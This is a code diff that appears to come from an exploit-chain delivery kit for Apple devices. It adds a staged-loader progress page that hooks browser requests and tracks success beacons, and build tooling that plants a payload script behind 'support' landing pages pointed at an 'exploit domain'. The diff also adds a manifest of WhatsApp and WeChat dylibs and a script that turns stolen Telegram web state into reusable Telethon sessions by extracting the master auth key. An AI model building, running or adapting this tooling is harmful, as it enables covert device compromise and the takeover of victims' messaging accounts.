<span class="file" id="lab-f2">stage2</span>
|
||||
</li>
|
||||
<li class="step" data-stage="3" id="lab-s3">
|
||||
<span class="dot">3</span>
|
||||
<span class="label">Loader</span>
|
||||
<span class="file" id="lab-f3">stage3</span>
|
||||
</li>
|
||||
<li class="step" data-stage="ok" id="lab-sok">
|
||||
<span class="dot">✓</span>
|
||||
<span class="label">Success</span>
|
||||
<span class="file" id="lab-fok">e=0</span>
|
||||
</li>
|
||||
</ol>
|
||||
</div>
|
||||
|
||||
<div class="device-model" id="lab-model">—</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
(function () {
|
||||
var STAGE_MAP = {
|
||||
"98f0c8fb182309faa687aa849e92d0ac5f93af7d": { stage: 1, label: "jacurutu" },
|
||||
"700491384cc59bd25c3aa4dd670c8660963bffe3": { stage: 1, label: "bluebird" },
|
||||
"3c04ae31f9ba8f809b275be4b3fa93deb558902c": { stage: 1, label: "terrorbird" },
|
||||
"1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf": { stage: 1, label: "cassowary" },
|
||||
"40a27e7916aa554e6d38d39beb6bb7ee095692ed": { stage: 1, label: "buffout" },
|
||||
"9075c25766e57019db4c86fac179b03ebf1b56e5": { stage: 2, label: "breezy" },
|
||||
"b099ff22b5c8e65654744fd307d81ad208009103": { stage: 2, label: "breezy15" },
|
||||
"651774047bf8d72258a5f04785c9dabf5e793670": { stage: 2, label: "seedbell_pre" },
|
||||
"291b914c574e1196039313595217367c44cca436": { stage: 2, label: "seedbell_16.6" },
|
||||
"0f2be2a4e0ab7e60b6ce550692996d079a5769a0": { stage: 2, label: "seedbell_17" },
|
||||
"0c297489d8c9d5470bfce17b0d99da3338b44a18": { stage: 3, label: "VariantA" },
|
||||
"9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f": { stage: 3, label: "VariantB" },
|
||||
"ad970e88980634bcb2eda0c998a27881686dd29e": { stage: 0, label: "beacon/manifest" }
|
||||
};
|
||||
var PRIMARY = {
|
||||
"6539c1e0dc731ea7c7011af236cc7c2871af7c40": "0xf290",
|
||||
"054bcb73ce2a3023b3813f5be12d0b6ffd6e7611": "0xf230",
|
||||
"e406714e92671b5218496fcb6666734411cb2320": "0xf330",
|
||||
"694c829e379e12085de6158b85f32509f54f4796": "0xf240",
|
||||
"3b0133801a3f844e7ebafa0363f2423a50005b72": "0xf340",
|
||||
"6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca": "0xf270",
|
||||
"eb3e81b54e8763bfe505e7a18be8f5fd828a76f6": "0xf370",
|
||||
"6bbb364c8a423374d42a2cbc45c0dee84e7dc710": "0xf280",
|
||||
"99010a27e08b3312650c8d9f321958433e577a30": "0xf380",
|
||||
"c9118a62558ed444a64c2dfe350c6c57fa277a3a": "0xf390",
|
||||
"076de672aebfc78137aa863e51ff3d8980dcdd10": "0xf373",
|
||||
"62415a3d105a8c40c41b19cf456e8474fe441359": "0xf383",
|
||||
"a5847c3e2e439e2f7c4b1582932cf81a06100981": "0xf275",
|
||||
"f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a": "0xf375"
|
||||
};
|
||||
var SECONDARY = {
|
||||
"65704c0722165a7bdedad3f3f61258b2f95470f6": "groupA",
|
||||
"7f208248c748f97956fe4a7cf246c91235852e67": "groupB",
|
||||
"039c68f0ca742a85e94516818385a9eca2e204d8": "sec",
|
||||
"1d0df5a0a12a20aa8b0c8aeb660742268f311d19": "sec",
|
||||
"242a0afb1d88b83e9a1a5b570fed6778def892fc": "sec",
|
||||
"347367155da44f3efcc9053337913061079610b9": "sec",
|
||||
"630c2b42300333d91588353d43afab9ec8325e09": "sec",
|
||||
"6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb": "sec",
|
||||
"743312cafb58176af57b89098d94dca1c60f8d1e": "sec",
|
||||
"7cb20652ef7156e931f894dd3d99f24601b80368": "sec"
|
||||
};
|
||||
|
||||
var state = { 1: "idle", 2: "idle", 3: "idle", p: "idle", s: "idle", ok: "idle" };
|
||||
var files = { 1: null, 2: null, 3: null, p: null, s: null };
|
||||
var statusEl = document.getElementById("lab-status");
|
||||
var barEl = document.getElementById("lab-bar");
|
||||
var ringEl = document.getElementById("lab-ring");
|
||||
var ringWrap = document.getElementById("lab-ring-wrap");
|
||||
var countEl = document.getElementById("lab-count");
|
||||
var modelEl = document.getElementById("lab-model");
|
||||
var CIRC = 2 * Math.PI * 54;
|
||||
var TOTAL_SEC = 15;
|
||||
var startedAt = Date.now();
|
||||
var remain = TOTAL_SEC;
|
||||
var finished = false;
|
||||
var failed = false;
|
||||
var tickTimer = null;
|
||||
|
||||
ringEl.style.strokeDasharray = String(CIRC);
|
||||
ringEl.style.strokeDashoffset = "0";
|
||||
ringWrap.classList.add("is-ticking");
|
||||
|
||||
function log() {}
|
||||
|
||||
function setStepUi(n, kind) {
|
||||
var id = n === "ok" ? "lab-sok" : ("lab-s" + n);
|
||||
var el = document.getElementById(id);
|
||||
if (!el) return;
|
||||
// Success node is never painted red — stays gray until real success (green ✓).
|
||||
if (n === "ok" && kind === "bad") kind = "idle";
|
||||
el.classList.remove("is-run", "is-ok", "is-bad");
|
||||
if (kind === "run" || kind === "ok" || kind === "bad") el.classList.add("is-" + kind);
|
||||
var dot = el.querySelector(".dot");
|
||||
if (dot) {
|
||||
if (kind === "ok") {
|
||||
dot.textContent = "✓";
|
||||
} else if (n === "ok") {
|
||||
dot.textContent = "✓";
|
||||
} else if (n === 1 || n === 2 || n === 3) {
|
||||
if (kind !== "ok") dot.textContent = String(n);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function ringTone() {
|
||||
ringWrap.classList.remove("is-run", "is-ok", "is-bad");
|
||||
if (failed) ringWrap.classList.add("is-bad");
|
||||
else if (finished || state.ok === "ok") ringWrap.classList.add("is-ok");
|
||||
else ringWrap.classList.add("is-run");
|
||||
}
|
||||
|
||||
function paintCountdown() {
|
||||
var elapsed = (Date.now() - startedAt) / 1000;
|
||||
remain = Math.max(0, TOTAL_SEC - elapsed);
|
||||
var pct = Math.max(0, Math.min(1, remain / TOTAL_SEC));
|
||||
ringEl.style.strokeDashoffset = String(CIRC * (1 - pct));
|
||||
countEl.textContent = String(Math.max(0, Math.ceil(remain)));
|
||||
if (remain <= 0) ringWrap.classList.remove("is-ticking");
|
||||
else ringWrap.classList.add("is-ticking");
|
||||
ringTone();
|
||||
}
|
||||
|
||||
function refreshBar() {
|
||||
var score = 0;
|
||||
if (state[1] === "ok") score += 1;
|
||||
if (state[2] === "ok") score += 1;
|
||||
if (state[3] === "ok") score += 1;
|
||||
if (state.p === "ok") score += 0.35;
|
||||
if (state.s === "ok") score += 0.35;
|
||||
if (state.ok === "ok") score = 4;
|
||||
if (!finished && (state[1] === "run" || state[2] === "run" || state[3] === "run" ||
|
||||
state.p === "run" || state.s === "run")) score += 0.2;
|
||||
barEl.style.width = Math.min(100, (score / 4) * 100) + "%";
|
||||
}
|
||||
|
||||
function setStage(n, kind, file, label) {
|
||||
if (!(n in state) && n !== "ok") return;
|
||||
if (state[n] === "ok" && kind === "run") return;
|
||||
// After e=0 success, ignore later pack noise that would re-color stages.
|
||||
if (finished && n !== "ok" && kind !== "ok") return;
|
||||
state[n] = kind;
|
||||
if (file && n !== "ok") {
|
||||
files[n] = file;
|
||||
if (n === 1 || n === 2 || n === 3) {
|
||||
var fe = document.getElementById("lab-f" + n);
|
||||
if (fe) fe.textContent = (label ? label + " · " : "") + String(file).slice(0, 12) + "…";
|
||||
}
|
||||
// Pack progress belongs under Success, not Stage3.
|
||||
if ((n === "p" || n === "s") && !finished) {
|
||||
var fok = document.getElementById("lab-fok");
|
||||
if (fok) fok.textContent = (label || n) + " · " + String(file).slice(0, 10) + "…";
|
||||
}
|
||||
}
|
||||
if (n === 1 || n === 2 || n === 3 || n === "ok") setStepUi(n, kind);
|
||||
refreshBar();
|
||||
var name = n === "p" ? "primary" : n === "s" ? "secondary" : n === "ok" ? "success" : ("stage " + n);
|
||||
if (finished && n !== "ok") return;
|
||||
if (kind === "ok") statusEl.textContent = name + " ready";
|
||||
if (kind === "bad") {
|
||||
failed = true;
|
||||
statusEl.textContent = name + " failed";
|
||||
ringTone();
|
||||
}
|
||||
if (kind === "run") statusEl.textContent = "Loading " + name + "…";
|
||||
}
|
||||
|
||||
function markSuccess() {
|
||||
finished = true;
|
||||
failed = false;
|
||||
// e=0 proves the browser chain finished — light prior stages if they ran or were skipped in HUD.
|
||||
[1, 2, 3].forEach(function (n) {
|
||||
if (state[n] !== "bad") setStepUi(n, "ok");
|
||||
if (state[n] === "idle" || state[n] === "run") state[n] = "ok";
|
||||
});
|
||||
if (state.p === "run") state.p = "ok";
|
||||
if (state.s === "run" || state.s === "idle") state.s = "ok";
|
||||
state.ok = "ok";
|
||||
setStepUi("ok", "ok");
|
||||
var fok = document.getElementById("lab-fok");
|
||||
if (fok) fok.textContent = "e=0";
|
||||
statusEl.textContent = "Complete";
|
||||
document.title = "Ready";
|
||||
barEl.style.width = "100%";
|
||||
ringTone();
|
||||
}
|
||||
|
||||
function explainE(code) {
|
||||
if (code === "0") return "ok";
|
||||
if (code === "1000") return "exception";
|
||||
if (code === "1001") return "unsupported";
|
||||
if (code === "1002") return "stage3/native fail";
|
||||
if (code === "1003") return "gate fail";
|
||||
return "";
|
||||
}
|
||||
|
||||
function isResultBeacon(url) {
|
||||
var s = String(url);
|
||||
if (!/[?&]e=\d+/.test(s)) return false;
|
||||
if (/ad970e88980634bcb2eda0c998a27881686dd29e\.min\.js/i.test(s)) return true;
|
||||
if (/\/\?e=\d+/.test(s) || /\/\?[^#]*[?&]e=\d+/.test(s)) return true;
|
||||
try {
|
||||
var u = new URL(s, location.href);
|
||||
var path = u.pathname || "";
|
||||
if (/\/$/.test(path) && u.searchParams.has("e")) return true;
|
||||
if (!/\.js$/i.test(path) && u.searchParams.has("e")) return true;
|
||||
} catch (err) {}
|
||||
return false;
|
||||
}
|
||||
|
||||
function onBeacon(url, ok) {
|
||||
if (!isResultBeacon(url)) return false;
|
||||
var em = String(url).match(/[?&]e=(\d+)/);
|
||||
if (!em) return false;
|
||||
var code = em[1];
|
||||
var note = explainE(code);
|
||||
statusEl.textContent = "result e=" + code + (note ? " (" + note + ")" : "");
|
||||
log((ok ? "beacon " : "beacon fail ") + "e=" + code + (note ? " " + note : "") +
|
||||
" · " + String(url).replace(/^https?:\/\/[^/]+/, ""));
|
||||
if (code === "0") {
|
||||
// Real traffic often beacons e=0 before secondary XHR is observed; e=0 is definitive.
|
||||
[1, 2, 3, "p", "s"].forEach(function (n) {
|
||||
if (state[n] !== "bad") setStage(n, "ok", files[n], null);
|
||||
});
|
||||
markSuccess();
|
||||
} else if (code === "1002" || code === "1000") {
|
||||
if (state.s === "idle") setStage("s", "bad", files.s, "no handoff");
|
||||
failed = true;
|
||||
setStepUi("ok", "idle");
|
||||
var fok = document.getElementById("lab-fok");
|
||||
if (fok) fok.textContent = "e=" + code;
|
||||
ringTone();
|
||||
} else {
|
||||
failed = true;
|
||||
setStepUi("ok", "idle");
|
||||
var fok2 = document.getElementById("lab-fok");
|
||||
if (fok2) fok2.textContent = "e=" + code;
|
||||
ringTone();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
function deviceModel() {
|
||||
var ua = navigator.userAgent || "";
|
||||
var plat = navigator.platform || "";
|
||||
var ios = ua.match(/OS (\d+)[._](\d+)(?:[._](\d+))?/);
|
||||
var mac = ua.match(/Mac OS X (\d+)[._](\d+)(?:[._](\d+))?/);
|
||||
var name = /iPhone/i.test(ua) || /iPhone/i.test(plat)
|
||||
? "iPhone"
|
||||
: /iPad/i.test(ua) || /iPad/i.test(plat)
|
||||
? "iPad"
|
||||
: /Macintosh|Mac OS X/i.test(ua)
|
||||
? "Mac"
|
||||
: (plat || "Device");
|
||||
var ver = ios
|
||||
? "iOS " + ios[1] + "." + ios[2] + (ios[3] ? "." + ios[3] : "")
|
||||
: mac
|
||||
? "macOS " + mac[1] + "." + mac[2] + (mac[3] ? "." + mac[3] : "")
|
||||
: "";
|
||||
return ver ? name + " · " + ver : name;
|
||||
}
|
||||
|
||||
function fillModel() {
|
||||
modelEl.textContent = deviceModel();
|
||||
}
|
||||
|
||||
function classify(url) {
|
||||
if (!url) return null;
|
||||
var s = String(url);
|
||||
if (isResultBeacon(s)) return { kind: "beacon", url: s };
|
||||
var min = s.match(/([0-9a-f]{40})\.min\.js/i);
|
||||
if (min) {
|
||||
var sh = min[1].toLowerCase();
|
||||
if (SECONDARY[sh]) return { kind: "secondary", hash: sh, label: SECONDARY[sh] };
|
||||
if (PRIMARY[sh]) return { kind: "primary", hash: sh, label: PRIMARY[sh] };
|
||||
return { kind: "secondary", hash: sh, label: "min.js" };
|
||||
}
|
||||
var m = s.match(/([0-9a-f]{40})\.js/i);
|
||||
if (!m) return null;
|
||||
var hash = m[1].toLowerCase();
|
||||
if (PRIMARY[hash]) return { kind: "primary", hash: hash, label: PRIMARY[hash] };
|
||||
if (SECONDARY[hash]) return { kind: "secondary", hash: hash, label: SECONDARY[hash] };
|
||||
var info = STAGE_MAP[hash];
|
||||
if (info) return { kind: "stage", stage: info.stage, hash: hash, label: info.label };
|
||||
return null;
|
||||
}
|
||||
|
||||
function onModule(url, ok) {
|
||||
var hit = classify(url);
|
||||
if (!hit) return;
|
||||
if (hit.kind === "beacon") {
|
||||
onBeacon(url, ok);
|
||||
return;
|
||||
}
|
||||
if (hit.kind === "primary") {
|
||||
setStage("p", ok ? "ok" : "bad", hit.hash, hit.label);
|
||||
log((ok ? "primary ok " : "primary fail ") + hit.label + " (" + hit.hash.slice(0, 12) + ")");
|
||||
return;
|
||||
}
|
||||
if (hit.kind === "secondary") {
|
||||
setStage("s", ok ? "ok" : "bad", hit.hash, hit.label);
|
||||
log((ok ? "secondary ok " : "secondary fail ") + hit.label + " (" + hit.hash.slice(0, 12) + ")");
|
||||
if (ok && !finished) statusEl.textContent = "Secondary ready · waiting e=";
|
||||
return;
|
||||
}
|
||||
if (hit.kind === "stage") {
|
||||
if (hit.stage === 0) {
|
||||
log((ok ? "offsets/manifest ok " : "offsets/manifest fail ") + hit.hash.slice(0, 12));
|
||||
onBeacon(url, ok);
|
||||
return;
|
||||
}
|
||||
setStage(hit.stage, ok ? "ok" : "bad", hit.hash, hit.label);
|
||||
log((ok ? "loaded " : "failed ") + "stage" + hit.stage + " " + hit.label +
|
||||
" (" + hit.hash.slice(0, 12) + ")");
|
||||
if (ok && hit.stage === 2 && state[1] === "idle") setStage(1, "ok", files[1], null);
|
||||
if (ok && hit.stage === 3) {
|
||||
if (state[1] === "idle") setStage(1, "ok", files[1], null);
|
||||
if (state[2] === "idle") setStage(2, "ok", files[2], null);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var XO = XMLHttpRequest.prototype.open;
|
||||
var XS = XMLHttpRequest.prototype.send;
|
||||
XMLHttpRequest.prototype.open = function (method, url) {
|
||||
this.__labUrl = url;
|
||||
var hit = classify(url);
|
||||
if (hit) {
|
||||
if (hit.kind === "beacon") statusEl.textContent = "Finishing…";
|
||||
else if (hit.kind === "primary") setStage("p", "run", hit.hash, hit.label);
|
||||
else if (hit.kind === "secondary") setStage("s", "run", hit.hash, hit.label);
|
||||
else if (hit.kind === "stage" && hit.stage >= 1) setStage(hit.stage, "run", hit.hash, hit.label);
|
||||
}
|
||||
return XO.apply(this, arguments);
|
||||
};
|
||||
XMLHttpRequest.prototype.send = function () {
|
||||
var xhr = this;
|
||||
xhr.addEventListener("loadend", function () {
|
||||
var ok = xhr.status === 200 || xhr.status === 0;
|
||||
if (xhr.status === 0 && xhr.response != null) ok = true;
|
||||
if (xhr.status >= 400) ok = false;
|
||||
var u = xhr.__labUrl;
|
||||
if (u && isResultBeacon(u)) {
|
||||
onBeacon(u, true);
|
||||
return;
|
||||
}
|
||||
onModule(u, ok && xhr.status !== 404);
|
||||
});
|
||||
return XS.apply(this, arguments);
|
||||
};
|
||||
|
||||
var armed = false;
|
||||
setInterval(function () {
|
||||
// e=0 may land before secondary is requested; never fail packs after success.
|
||||
if (finished || state.ok === "ok") return;
|
||||
if (state.p === "ok" && state.s === "idle") {
|
||||
if (!armed) {
|
||||
armed = true;
|
||||
setTimeout(function () {
|
||||
if (finished || state.ok === "ok") return;
|
||||
if (state.p === "ok" && state.s === "idle") {
|
||||
setStage("s", "bad", null, "no request");
|
||||
statusEl.textContent = "Primary ok · secondary never requested";
|
||||
log("timeout · no secondary .min.js after primary");
|
||||
}
|
||||
}, 4000);
|
||||
}
|
||||
}
|
||||
}, 500);
|
||||
|
||||
// Independent of stage success/fail — always ticks until 15s elapses.
|
||||
tickTimer = setInterval(function () {
|
||||
paintCountdown();
|
||||
if (remain <= 0) {
|
||||
clearInterval(tickTimer);
|
||||
tickTimer = null;
|
||||
ringWrap.classList.remove("is-ticking");
|
||||
}
|
||||
}, 200);
|
||||
|
||||
fillModel();
|
||||
paintCountdown();
|
||||
statusEl.textContent = "Preparing stages…";
|
||||
window.__labHud = { setStage: setStage, state: state, markSuccess: markSuccess };
|
||||
})();
|
||||
</script>
|
||||
<script src="index.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -38,6 +38,11 @@ from _common import (
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
BUILDER_ROOT = TOOLS.parent
|
||||
_EMBED_DIR = BUILDER_ROOT.parent / "channel-embed"
|
||||
if str(_EMBED_DIR) not in sys.path:
|
||||
sys.path.insert(0, str(_EMBED_DIR))
|
||||
from embed_boot import apply_embed_boot # noqa: E402
|
||||
|
||||
SUPPORT_TEMPLATES = ("test", "blank")
|
||||
DEFAULT_SUPPORT_TEMPLATE = "blank"
|
||||
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
|
||||
@@ -66,51 +71,23 @@ def normalize_support_template(value: str | None) -> str:
|
||||
return template
|
||||
|
||||
|
||||
# Idempotency marker for inlined PV/UV beacon (blank support.html <head>).
|
||||
HIT_MARKER = "data-pv"
|
||||
HIT_JS_PATH = BUILDER_ROOT.parent / "public" / "t.js"
|
||||
|
||||
|
||||
def load_hit_js() -> str:
|
||||
if not HIT_JS_PATH.is_file():
|
||||
raise SystemExit(f"missing hit script: {HIT_JS_PATH}")
|
||||
return HIT_JS_PATH.read_text(encoding="utf-8").strip()
|
||||
|
||||
|
||||
def ensure_hit_beacon(support_html: Path) -> None:
|
||||
"""Inline PV/UV beacon into <head> (idempotent via data-pv)."""
|
||||
text = support_html.read_text(encoding="utf-8")
|
||||
if HIT_MARKER in text:
|
||||
return
|
||||
block = f'<script {HIT_MARKER}>\n{load_hit_js()}\n</script>\n'
|
||||
lower = text.lower()
|
||||
idx = lower.rfind("</head>")
|
||||
if idx >= 0:
|
||||
text = text[:idx] + block + text[idx:]
|
||||
else:
|
||||
# Fallback: prepend after <html...> or at start.
|
||||
html_idx = lower.find("<html")
|
||||
if html_idx >= 0:
|
||||
gt = text.find(">", html_idx)
|
||||
text = text[: gt + 1] + "\n<head>\n" + block + "</head>\n" + text[gt + 1 :]
|
||||
else:
|
||||
text = "<head>\n" + block + "</head>\n" + text
|
||||
support_html.write_text(text, encoding="utf-8")
|
||||
|
||||
|
||||
def apply_support_template(campaign_dir: Path, template: str) -> None:
|
||||
template = normalize_support_template(template)
|
||||
dest = campaign_dir / "support.html"
|
||||
if template == "test":
|
||||
if not dest.is_file():
|
||||
raise SystemExit(f"missing support.html after campaign copy: {dest}")
|
||||
return
|
||||
src = SUPPORT_TEMPLATE_ROOT / f"{template}.html"
|
||||
if not src.is_file():
|
||||
raise SystemExit(f"missing support template: {src}")
|
||||
shutil.copyfile(src, dest)
|
||||
if template == "blank":
|
||||
ensure_hit_beacon(dest)
|
||||
|
||||
|
||||
def apply_ds_domain(support_html: Path, ds_domain: str) -> None:
|
||||
"""Replace __DS_DOMAIN__ in the landing page (empty = same-origin /next-chain/)."""
|
||||
if not support_html.is_file():
|
||||
return
|
||||
text = support_html.read_text(encoding="utf-8")
|
||||
if "__DS_DOMAIN__" not in text:
|
||||
return
|
||||
support_html.write_text(text.replace("__DS_DOMAIN__", ds_domain), encoding="utf-8")
|
||||
|
||||
|
||||
def resolve_python() -> str:
|
||||
@@ -303,12 +280,20 @@ def main() -> int:
|
||||
type=Path,
|
||||
help="optional path to write the result JSON (also printed on stdout)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--ds-domain",
|
||||
default="",
|
||||
help="DS exploit domain for support.html iframe (e.g. https://ds.example.com). "
|
||||
"Empty = relative /next-chain/ (default)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
src_campaign = SOURCE_ROOT / "web"
|
||||
src_sync = SOURCE_ROOT / "sync"
|
||||
if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file():
|
||||
raise SystemExit(f"missing source web template: {src_campaign}")
|
||||
if not (src_campaign / "index.js").is_file():
|
||||
raise SystemExit(f"missing source web/index.js: {src_campaign}")
|
||||
if not src_sync.is_dir():
|
||||
raise SystemExit(f"missing source sync: {src_sync}")
|
||||
|
||||
@@ -382,7 +367,10 @@ def main() -> int:
|
||||
print("=== build web/%s ===" % channel)
|
||||
web_dir.parent.mkdir(parents=True, exist_ok=True)
|
||||
shutil.copytree(src_campaign, web_dir, symlinks=False, ignore=_ignore_junk)
|
||||
if not (web_dir / "index.js").is_file():
|
||||
raise SystemExit(f"missing index.js after campaign copy: {web_dir}")
|
||||
apply_support_template(web_dir, support_template)
|
||||
apply_ds_domain(web_dir / "support.html", (args.ds_domain or "").rstrip("/"))
|
||||
run(
|
||||
[
|
||||
py,
|
||||
@@ -401,6 +389,11 @@ def main() -> int:
|
||||
"--apply",
|
||||
]
|
||||
)
|
||||
apply_embed_boot(
|
||||
web_dir,
|
||||
channel_code=channel,
|
||||
ds_domain=(args.ds_domain or "").rstrip("/"),
|
||||
)
|
||||
except BaseException:
|
||||
if web_dir.exists() and not sync_rebuilt:
|
||||
# leave shared sync; remove failed channel web
|
||||
@@ -421,6 +414,7 @@ def main() -> int:
|
||||
"seeds_initialized": seeds_initialized,
|
||||
"sync_rebuilt": sync_rebuilt,
|
||||
"support_path": f"/web/{channel}/support.html",
|
||||
"ds_domain": (args.ds_domain or "").rstrip("/"),
|
||||
"daily_path": "/sync/daily.html",
|
||||
"artifact_root": str(artifact_root),
|
||||
"state_root": str(state_root),
|
||||
|
||||
@@ -191,6 +191,14 @@
|
||||
"original_sha256": "51a5904abf3dacb554989b7c04e7f9e6a169bd4f6faba1d3bf8f11e7e5ad550d",
|
||||
"source_rel": "source/sync_dylibs/libAggregateDictionaryClient.dylib"
|
||||
},
|
||||
{
|
||||
"wire": "chk.ts",
|
||||
"member": "CHKWhatsApp.dylib",
|
||||
"expect_channel_hits": 2,
|
||||
"original_size": 408552,
|
||||
"original_sha256": "1106f08e427c4e26b4efc53105d46ee83ad760cee64b7ac050d88c214aa4e3a8",
|
||||
"source_rel": "source/sync_dylibs/CHKWhatsApp.dylib"
|
||||
},
|
||||
{
|
||||
"wire": "candy_ketchup.html",
|
||||
"member": "WeChat.dylib",
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
import sys
|
||||
|
||||
|
||||
TOOLS = Path(__file__).resolve().parents[1]
|
||||
SOURCE = TOOLS.parent / "source"
|
||||
EMBED = TOOLS.parents[1] / "channel-embed"
|
||||
if str(TOOLS) not in sys.path:
|
||||
sys.path.insert(0, str(TOOLS))
|
||||
if str(EMBED) not in sys.path:
|
||||
sys.path.insert(0, str(EMBED))
|
||||
|
||||
from embed_boot import BOOT_MARKER, apply_embed_boot # noqa: E402
|
||||
from new_project import apply_ds_domain, apply_support_template # noqa: E402
|
||||
|
||||
|
||||
class SupportLandingTest(unittest.TestCase):
|
||||
def test_source_index_js_holds_payload(self) -> None:
|
||||
index_js = (SOURCE / "web" / "index.js").read_text(encoding="utf-8")
|
||||
self.assertIn("function cAsUcoxco", index_js)
|
||||
self.assertGreater(len(index_js), 1000)
|
||||
|
||||
def test_source_landings_only_load_index_js(self) -> None:
|
||||
landings = [
|
||||
SOURCE / "web" / "support.html",
|
||||
SOURCE / "templates" / "support" / "blank.html",
|
||||
SOURCE / "templates" / "support" / "test.html",
|
||||
]
|
||||
for path in landings:
|
||||
html = path.read_text(encoding="utf-8")
|
||||
self.assertIn('src="index.js"', html, path.name)
|
||||
self.assertNotIn('src="/t.js"', html, path.name)
|
||||
self.assertNotIn("data-pv", html, path.name)
|
||||
self.assertNotIn("/statistic/t", html, path.name)
|
||||
self.assertNotIn("/next-chain/frame.html", html, path.name)
|
||||
self.assertNotIn("__DS_DOMAIN__", html, path.name)
|
||||
self.assertNotIn("function cAsUcoxco", html, path.name)
|
||||
|
||||
clean = (SOURCE / "web" / "support.html").read_text(encoding="utf-8")
|
||||
self.assertNotIn("lab-hud", clean)
|
||||
self.assertNotIn("__labHud", clean)
|
||||
self.assertNotIn("STAGE_MAP", clean)
|
||||
|
||||
def test_apply_embed_boot_renames_payload_and_bakes_channel(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
dest = Path(tmp)
|
||||
(dest / "index.js").write_text("function cAsUcoxco(){}", encoding="utf-8")
|
||||
apply_embed_boot(
|
||||
dest,
|
||||
channel_code="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
ds_domain="https://ds.example.com",
|
||||
)
|
||||
boot = (dest / "index.js").read_text(encoding="utf-8")
|
||||
payload = (dest / "payload.js").read_text(encoding="utf-8")
|
||||
self.assertIn(BOOT_MARKER, boot)
|
||||
self.assertIn("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", boot)
|
||||
self.assertIn("https://ds.example.com", boot)
|
||||
self.assertIn("payload.js", boot)
|
||||
self.assertIn("function cAsUcoxco", payload)
|
||||
apply_embed_boot(
|
||||
dest,
|
||||
channel_code="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
|
||||
ds_domain="",
|
||||
)
|
||||
boot2 = (dest / "index.js").read_text(encoding="utf-8")
|
||||
self.assertIn("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", boot2)
|
||||
self.assertEqual((dest / "payload.js").read_text(encoding="utf-8"), payload)
|
||||
|
||||
def test_apply_support_template_does_not_inline_beacon(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
dest = Path(tmp)
|
||||
apply_support_template(dest, "blank")
|
||||
html = (dest / "support.html").read_text(encoding="utf-8")
|
||||
self.assertIn('src="index.js"', html)
|
||||
self.assertNotIn("data-pv", html)
|
||||
self.assertNotIn("/statistic/t", html)
|
||||
|
||||
def test_apply_ds_domain_replaces_placeholder(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
dest = Path(tmp) / "support.html"
|
||||
dest.write_text(
|
||||
"var dsDomain = '__DS_DOMAIN__';\nvar dsUrl = dsDomain + '/next-chain/frame.html';\n",
|
||||
encoding="utf-8",
|
||||
)
|
||||
apply_ds_domain(dest, "https://ds.example.com")
|
||||
text = dest.read_text(encoding="utf-8")
|
||||
self.assertNotIn("__DS_DOMAIN__", text)
|
||||
self.assertIn("https://ds.example.com", text)
|
||||
self.assertIn("/next-chain/frame.html", text)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,154 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
tglib_to_session_files.py — Convert tglib.js JSON payload to the Telethon
|
||||
"session trio" (SQLite .session + metadata .json + session_string _密钥.txt).
|
||||
|
||||
Usage:
|
||||
python tglib_to_session_files.py <input.json> <output_dir>
|
||||
|
||||
Reads the tglib.js JSON (state + db_sqlite), extracts the master MTProto
|
||||
auth_key + DC id + user id, builds a Telethon SQLite session, derives a
|
||||
StringSession, and writes three files into <output_dir>:
|
||||
{phone}.session — Telethon SQLite session (binary)
|
||||
{phone}.json — Account metadata + session_string
|
||||
{phone}_密钥.txt — session_string plain text
|
||||
|
||||
Works fully offline — no Telegram connection is made.
|
||||
"""
|
||||
import json, base64, os, sys, tempfile, shutil
|
||||
|
||||
# Standard Telegram production DC endpoints (used to seed the Telethon session).
|
||||
DC_ADDRS = {
|
||||
1: ("149.154.175.50", 443),
|
||||
2: ("149.154.167.51", 443),
|
||||
3: ("149.154.175.100", 443),
|
||||
4: ("149.154.167.91", 443),
|
||||
5: ("91.108.56.130", 443),
|
||||
}
|
||||
|
||||
# Telegram Desktop official API credentials (used as defaults in metadata).
|
||||
DEFAULT_API_ID = 2040
|
||||
DEFAULT_API_HASH = "b18441a1ff607e10a989891a5462e627"
|
||||
|
||||
|
||||
def extract_keys(payload: dict):
|
||||
"""Extract master auth_key, dc_id, user_id, phone from tglib.js JSON."""
|
||||
state_b64 = payload.get("state")
|
||||
if not state_b64:
|
||||
raise ValueError("missing 'state' field")
|
||||
state = json.loads(base64.b64decode(state_b64))
|
||||
records = state.get("records", [])
|
||||
if not records:
|
||||
raise ValueError("no records in state")
|
||||
backup_b64 = None
|
||||
for attr in records[0].get("attributes", []):
|
||||
if isinstance(attr, dict) and "backupData" in attr:
|
||||
backup_b64 = attr["backupData"]["data"]
|
||||
break
|
||||
if not backup_b64:
|
||||
raise ValueError("no backupData in state records")
|
||||
backup = json.loads(base64.b64decode(backup_b64))
|
||||
auth_key = base64.b64decode(backup["masterDatacenterKey"])
|
||||
dc_id = backup["masterDatacenterId"]
|
||||
user_id = backup.get("peerId", 0)
|
||||
if len(auth_key) != 256:
|
||||
